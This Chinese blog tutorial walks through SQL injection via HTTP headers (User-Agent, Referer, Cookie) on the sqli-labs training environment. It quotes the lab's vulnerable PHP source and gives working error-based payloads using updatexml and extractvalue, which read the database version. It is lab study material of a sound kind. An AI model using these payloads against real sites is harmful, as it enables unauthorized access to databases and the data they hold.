SQL注入-POST方式SQL注入(三)

2022年8月11日11:18:55 发表评论 140 views

1.1 HTTP头注入

我们可以使用报错注入的方式进行,报错注入可以使用以下函数进行测试:

  • floor函数:

floor(rand(0)*2) 利用分组时生成的虚拟表出现主键冲突,报出错误信息

  • extractvalue函数:extractvalue(XML_document, XPath_string); 查询
  • 第一个参数: XML_ document是String格式,为XML文档对象的名称
  • 第二个参数: XPath_ string (Xpath格式的字符串)

例:extractvalue(' <book> <author> root < /author> </book> ',/book/author")

  • updatexml函数:updatexml(XML_document, XPath_string, new_value); 修改
  • 第一个参数: XML_ document是String格式,为XML文档对象的名称
  • 第二个参数: XPath_ string (Xpath格式的字符串)
  • 第三个参数: new_value,String格式,替换查找到的符合条件的数据

例:updatexml(' < book> <author> root < /author> < /book>', '/book/author', 'mk')

函数说明:第二个参数XPath_string 表示xml中的位置是可操作的地方,xml文档中查找字符位置是用/xxx/xxxx...这种格式,如果我们写入其他格式就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

1.1.1 HTTP User-Agent注入

1.1.1.1  源码分析

[[email protected] Less-18]# vim index.php
37 function check_input($value)     # 源码中对数据进行了检查
 38         {
 39         if(!empty($value))
 40                 {
 41                 // truncation (see comments)
 42                 $value = substr($value,0,20);
 43                 }
 44
 45                 // Stripslashes if magic quotes enabled
 46                 if (get_magic_quotes_gpc())
 47                         {
 48                         $value = stripslashes($value);
 49                         }
 50
 51                 // Quote if not a number
 52                 if (!ctype_digit($value))
 53                         {
 54                         $value = "'" . mysql_real_escape_string($value) . "'";
 55                         }
 56
 57         else
 58                 {
 59                 $value = intval($value);
 60                 }
 61         return $value;
 62         }
 63
 64
 65         # 未对user-agent进行校验并存储到了数据库中
 66         $uagent = $_SERVER['HTTP_USER_AGENT'];
 67         $IP = $_SERVER['REMOTE_ADDR'];

103                         $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
104                         mysql_query($insert);

1.1.1.2  判断是否存在注入点

修改User-Agent字段添加一个'单引号:

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0'

SQL注入-POST方式SQL注入(三)

【结果分析】:

返回报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '192.168.10.180', 'admin')' at line 1

说明该字段是存入了数据库中,所以可能存在注入点。

PS.正常情况是不会有回显信息的,但是源码中为了方便我们学习,将SQL语句打印了出来。

1.1.1.3  查询数据库版本信息

修改字符串:

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) or '1'='1

【字段解释】:

  • ' and用来拼接我们的SQL语句;
  • updatexml的第一个参数和第三个参数是我们随意写的,第二个参数使用连接查询数据,以为第二个参数查询的字符串不满足Xpath格式所以报错;
  • or'1'='1 (注意这里少一个单引号)闭合最后的单引号否则整条语句报错连接查询不会被执行;
  • 0x7e是波浪号~可以修改成其他符号的16进制,或者也可以删掉;

SQL注入-POST方式SQL注入(三)

1.1.2 HTTP referer注入

1.1.2.1  判断是否存在注入点

SQL注入-POST方式SQL注入(三)

1.1.2.2  查询数据版本信息

修改字符串:

Referer: http://192.168.10.159/sqli-labs/Less-19/' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

Referer: http://192.168.10.159/sqli-labs/Less-19/' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) or '1'='1

SQL注入-POST方式SQL注入(三)

1.1.3 Cookie注入

用户访问网站在交互的过程中,用户的一系列操作肯定会产生一些数据需要保存,这时就需要使用Cookie或者Session技术来完成。

登录网站时如果选择记住密码,浏览器就会保存我们登录网站的cookie,下次打开网站时就不需要再次输入用户名密码等信息。

虽然Cookie为我们带来了非常多的便捷性,但是也给我们带来了非常多的安全隐患,比如攻击者可以窃取用户的Cookie来获得用户权限,或者攻击者修改Cookie对目标服务器进行攻击。

1.1.3.1  正常登录站点

点击submit后需要Forward两次才可以正常登录系统

SQL注入-POST方式SQL注入(三)

1.1.3.2  查看登录后的cookie信息

登录成功后刷新一下页面即可显示出cookie信息

SQL注入-POST方式SQL注入(三)

1.1.3.3  判断是否存在注入点

SQL注入-POST方式SQL注入(三)

1.1.3.4  查询数据库版本信息

修改字符串:

Cookie: uname=admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

Cookie: uname=admin' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) or '1'='1

SQL注入-POST方式SQL注入(三)

weinxin
我的微信
如果有技术上的问题可以扫一扫我的微信
版权声明
1. 本网站名称:Leon的博客
2. 本站永久网址:https://blog.leonshadow.cn
3. 本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长QQ632113590进行删除处理。
4. 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
5. 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
6. 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
liyang